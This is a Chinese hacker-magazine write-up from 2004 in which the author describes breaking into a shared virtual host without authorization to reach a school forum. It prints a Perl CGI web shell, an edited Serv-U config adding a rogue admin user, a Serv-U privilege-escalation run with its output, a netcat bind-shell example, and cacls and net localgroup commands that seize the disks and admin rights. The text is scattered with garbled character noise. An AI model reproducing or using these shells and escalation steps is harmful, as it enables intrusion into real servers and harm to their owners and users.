剑走偏锋——灵巧的旁注攻击 2 \9 g! f- O! ~( b
本文作者:angel6 Q: @& u8 ?7 s @5 Y# G
文章性质:原创
" |# Y* U8 R- o$ ^+ E; p3 t发布日期:2004-11-09 3 R' I" @' Z2 Z: q- `8 `9 `8 S
注意:
& p. W* x7 k* i4 S$ B/ c本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。5 F7 g) w4 b( T( ~1 z5 R
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
# j: ^, v/ B- {) u0 w) r- i+ W$ B5 [. t
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 7 C g; H, [" M* b4 y2 i% V+ {, M
# m1 M3 d0 I7 z5 V& \% u
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ( x* t1 R8 Q7 a4 h6 J5 @' F
6 S9 c/ A( S$ `1 g6 G b. O7 R# f
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 $ Y* v5 G# h- W. R
' [6 n1 H+ e6 ?7 I: a 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
% b7 b3 B0 A1 G2 m
- J: f+ d, x5 C8 v! U+ g 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ' w6 z- l+ E. p2 J8 y3 S
& m+ W# H' z# ~ ?$ O
没有目的的跳转目录着…… . Y/ D' ~; n) O2 x7 T6 ~9 K7 F
8 T% w7 S9 h, p, I# L 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 8 e8 o) W0 H1 _
& Y' C2 x( X& I 结束了吗?不,我试着 FTP 一下: 4 o% L0 R1 c0 J% D% O
7 \$ q' c( n4 \4 t
Microsoft Windows 2000 [Version 5.00.2195]
6 |: O% }& m7 W( r; D(C) 版权所有 1985-2000 Microsoft Corp. 4 V/ I( I' y' Z
6 D( K* X: i3 q/ v/ h
C:\Documents and Settings\Administrator>ftp www.school.com
( G: }1 I; \" G: K. ?7 F7 y8 P6 VConnected to www. school.com. # K- I: ?+ N% M9 Q! ^
220 Welcome to FTP Server...
2 b4 e0 M* a2 C7 Y0 s# }! DUser (www.bjtrq.com:(none)): 8 ^, n# n) D" l i" ~
331 User name okay, need password. & y2 G* T# m- i6 b. |+ x
Password: % V; _6 ^: U8 K# \" V+ f5 c/ B! o
530 Not logged in.
m+ X ?" h' }4 s7 iLogin failed. ' K0 c7 }7 f( v0 o9 ]! l# }
ftp> bye 6 `3 T) N: p* P: j1 ?
221 Goodbye! / Q* d) i' X- a$ k3 M' E4 t
. T/ {, e( G+ s! ~% z: Z3 y6 v) A. R' [4 I* S$ f5 V5 |
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 9 J' ^( e! q- D% W! y+ \
$ b& {$ }% I- D( D- o5 r 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ' n6 z. z ?: h/ ^
; c/ Y/ F& I6 X+ `9 T+ B6 s, WApplication Data, Q9 {+ n+ e$ s9 k! h
Documents0 v' a% |6 U3 H" H5 v( F6 l" [
DRM& q1 R; o7 c5 M3 E. q. j
Favorites" P7 i8 z" y2 t" K. t% k2 H+ s
Templates! w; f9 U* @, W5 Z
「开始」菜单
* q' y+ v, p8 Y* V$ Q桌面: ?" ^6 ]) [5 w5 x6 ?
8 o& G% ?2 P; R/ e" _
: l9 w: G- y9 s+ x% n* X 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 7 a3 u) S- ?) y3 a
% F3 o+ z, l2 a! s* k* ^2 u
ActiveState ActivePerl 5.8$ d" l% d8 V) z' `3 K2 _ o8 a
Administrative Tools+ p; i% r' Z! `2 s
Deerfield.com7 Z! R( ^+ ?% C- R, _9 U
DTemp
) E/ I: u2 |. H% ], U* }& {IPSentry
" r1 P, Z3 P& c& aMBM 5
3 Q/ N7 O$ V& M8 f1 B1 LNetMeter
! A$ y2 i: ] j* |, z' H; qNetwork ICE
9 |" F9 D6 e' n- P0 P7 w8 SPersits Software AspEmail' f6 b: l; R4 C9 n7 N3 Z
Persits Software AspJpeg
; Y* |9 c2 A' B4 ~5 pServ-U FTP Server
: [2 a4 K; o6 j3 t8 q6 a2 jSymantec Client Security( U1 D' W7 H% i( O/ ~0 c. M; p& q0 H
Windows 优化大师2 @* d2 Q. L4 i. M m
WinRAR8 D* r M" M! t; _
启动
$ Z$ l( u5 |! K$ z: N( |" ^: @管理工具
$ o- ?) [# `" N" _附件
4 S" _& r3 j3 R8 g+ M! B
( o4 c' b) g4 A6 a# v, h
4 V9 Y3 E9 G- q! f9 ^ 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 % N/ a: C7 d; l1 g+ N m/ [2 G
& D' I; z4 e) R! ?' D+ k+ W/ l$ Q
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ V H; e2 q6 d3 @8 V: t. L, ]! s
User281=angel|1|0 # \0 O$ {2 G/ f6 l% [
3 f7 S( Z/ m4 d7 T8 g+ W
8 S* ~7 [7 |/ Q) x2 `% h) \ P 然后加上
( B/ }% Z0 B/ Y5 g; A3 p2 C$ h) J @. O, | G/ @: s# t4 K. A
[USER=angel|1]' C, A" V7 J+ @# |
Password=ng98F85379EA68DBF97BAADCA99B69B805
. B( {- @- x, `HomeDir=D:\websites
, S9 J1 x1 {' X6 V8 ORelPaths=1
, ]# z4 t* T" n6 e2 zTimeOut=6007 ?! I4 z1 E" \9 |9 M6 N% S
Maintenance=System0 ]1 E4 e( E6 N( Y
Access1=D:\websites|RWAMELCDP
' P9 d1 H& |0 b2 ^* @) z; u* Y ~4 oSKEYValues=! y' a8 W% W/ B2 P# D' x# i
& o; o6 ~: ?1 v' P' q
& S3 @( f( [2 p' p! @
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
% F" ]0 t1 w% F0 ^7 \. {) A. J" h/ o5 ~# E" I6 S
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ; {9 R' N, ?3 e3 f' X
: C( w' T; f/ |# F( L; k( m
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 8 t4 h0 G) p" |8 f R' k( ~
- }. }" d2 D) A% f$ } 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
3 F, W! \6 z# Y% }: G: D* v* ?# d* G9 f
#!/usr/bin/perl
; _ K c4 I) F6 `# g- e7 g' Dbinmode(STDOUT);
% X7 ?4 [* Q \! m4 isyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( b' C/ s. F4 [2 _9 s$_ = $ENV{QUERY_STRING};
+ R4 A) Y/ } }9 E! i0 {s/%20/ /ig;/ Y6 a7 p6 z6 l, a
s/%2f/\//ig;
5 L2 V z9 G2 [# R$execthis = $_;
2 N) t1 B5 p/ ^. i- bsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
. M; ^# u, j. m# k- V! m7 Qopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";& D' Q3 [/ j+ m
system($execthis);
8 V1 o9 ^: d# D; ksyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
0 D. R% p. p1 A N7 Dclose(STDERR);4 m6 N7 W( o4 B- Y/ U- N
close(STDOUT);/ A- L t+ \& K# i8 J3 l
exit;5 a i3 ?, V' ]8 l- p
! e1 _6 r: W8 p; Z8 _6 ]: L. `8 ^/ P( j
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
0 N8 l( I# w' [6 Y
+ J% A" ?* s0 b 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
* N# }2 f: r5 ~& S( M5 L
3 G: J6 b, z) V Z+ z4 _2 lhttp://anyhost//cmd.pl?d:\user\bin\su.exe ; z G* J7 {# a5 S
3 b! b) d# j! y: y3 _" o0 Z2 J+ [& G
返回: 0 o' r+ T8 P( L# _
& j5 z5 i4 u. g9 f% ~& WServ-u >3.x Local Exploit by xiaolu
& q! O3 ]' p! y. S' t" w' ~0 q3 j% v$ q3 H! e8 C ?( S* Q4 W5 O1 ~
USAGE: serv-u.exe "command"
7 j8 N1 u3 X2 K. y0 J# l8 g! s, W/ A2 S2 {1 E/ F/ T, d' l/ }
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" . B1 V$ ]& G8 P7 p8 J
. j7 f y9 P, X
% p+ M2 e& r, f& z! O& B( R1 j' R) z 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 2 y) p; y/ P8 c) i9 o+ v n. ?4 V
@1 N+ w" W. e* N ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' q8 t& g- K2 q3 W7 ~, f( r1 k. K& T3 N {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" " O: d" L( e$ n' i& R
- C s- P" v0 Z3 X) D7 z+ K D
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
/ g: r! X" z& O8 u2 ]7 n# Y d0 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
6 |/ ~: Y- y& l/ v
3 w. i4 E& L7 b$ G1 v9 W) g! O4 z' P
返回下面的信息,就表示成功了!!! 8 [+ c b% X0 x+ t( A. M
$ b: U: Q3 k' @% c$ u$ C( q
Serv-u >3.x Local Exploit by xiaolu
3 c6 {5 p4 \2 ~9 {6 w; D8 y, M( h6 C+ V% V6 X1 s
<220 Serv-U FTP Server v5.2 for WinSock ready...
/ Y& n& [: z8 W* K' b0 H9 T; F6 _- g- p
>USER LocalAdministrator 8 M' v+ M& n( T! S( C
8 {+ F3 G; \0 B; |$ h9 D' s
<331 User name okay, need password. : d7 ~, H! {. b+ x7 d
! x+ K) ?3 S, k4 ~5 ~- A- ^ X/ G
******************************************************
1 @# q9 q" C+ q! e2 g1 `, i4 X2 p2 w' I# U& R- W; ]
>PASS #l@$ak#.lk;0@P
9 b9 F( ~/ L5 K; ?0 C/ Z% P+ B1 H3 C6 x; N6 N
<230 User logged in, proceed. $ j1 u; ^2 v8 _
( I9 ?& [3 F2 W+ n
****************************************************** 4 z, d& H0 M6 t1 T. _; j
% M: s, Z1 T' z' v" w% `" v
>SITE MAINTENANCE
* f+ K$ W! M" e% k$ I6 y% G
- y% H! x/ n3 _4 v6 D****************************************************** 6 l7 _9 H1 `. @# y0 b4 w& X
0 s7 `7 l3 b8 q' _% Q& h* _. G/ d
[+] Creating New Domain... ^ d' u: d6 j9 w; G3 k3 S( |
" Z1 ? ?+ I: \/ c; }; r
<200-DomainID=2 h/ l% u$ B* w5 p: m0 x# }
' L, l/ O' i9 A<220 Domain settings saved
1 G8 i( ~3 x" S9 n/ K
* r. `6 X& x: W; g/ e******************************************************
; J7 K I, @- @1 \! i* Z- L9 F5 x
[+] Domain xl:2 Created * Q8 D, x2 o# v# h- @) H
' l& w. d2 p) X[+] Creating Evil User $ E. o& f4 v' j3 [, r0 J# ?
& K0 H V& T, E/ G5 E5 b' p" u, I<200-User=xl 2 C6 j4 |8 r; B, H5 o7 M
* c/ i& H8 d1 I9 |6 N3 }9 x200 User settings saved " E# }5 s" L) `& i4 @4 n
5 i, {1 Q$ y1 {7 G! Q
******************************************************
" l) d' U1 A& n3 q+ \! N+ V# T$ R* l c
[+] Now Exploiting... 2 `# I, Y z: U |2 J1 n: O4 u
! [$ t7 D# Z& m- @6 k2 ?& `>USER xl ; K4 I2 n0 h( x b$ `$ T7 q
% `5 W: K7 F2 c; M' O$ Y<331 User name okay, need password.
3 U( W" K5 b9 D
9 ]! A- Y' }- T& e* [: [******************************************************
: t4 q3 Y( E; b0 m' l0 p" E7 m% D2 ^$ z& K' v$ ^4 }
>PASS 111111
& w+ u1 D9 ~$ \: `) `% L& b/ @% i
3 M* y4 X$ }' a& X- @<230 User logged in, proceed.
3 F. `$ @' j- T: j: x* [/ L
8 L/ X% F& W- B' ], \******************************************************
9 g+ x* h% B- e# m; N- g! ]
' T$ N# U8 w- `1 O5 E[+] Now Executing: cacls.exe c: /E /T /G everyone:F ! v1 i+ G7 L3 t& x/ |' u z( |9 n
3 u- }. j) Y/ f3 E5 x; u<220 Domain deleted 7 B: p! _1 @- X$ }3 k" F* L8 @
: i/ c' h6 w4 W7 H# _' _4 S******************************************************
6 t& s* E! z% }# j Z; j: J* C1 J. V# S" [' [1 H
. h9 k& p2 j* M 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 2 a( H4 R6 E; a8 i( M
# x7 K8 N2 x5 T7 O5 d# f8 k/ I4 x* [9 z0 d
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 3 R+ t5 g/ r6 Q n
% Z5 T) _: K+ b$ d/ ?) B# i# L, @/ j, z) k
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 2 n- M* h" n* S5 F3 b, ^
; a' t6 A4 L, t# v! r5 z, D
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
: g, E8 w, P$ w" ?/ b3 } 6 B0 b& U8 d+ Z7 y. |7 O
2 r5 l# Q8 q& S$ [! Q
|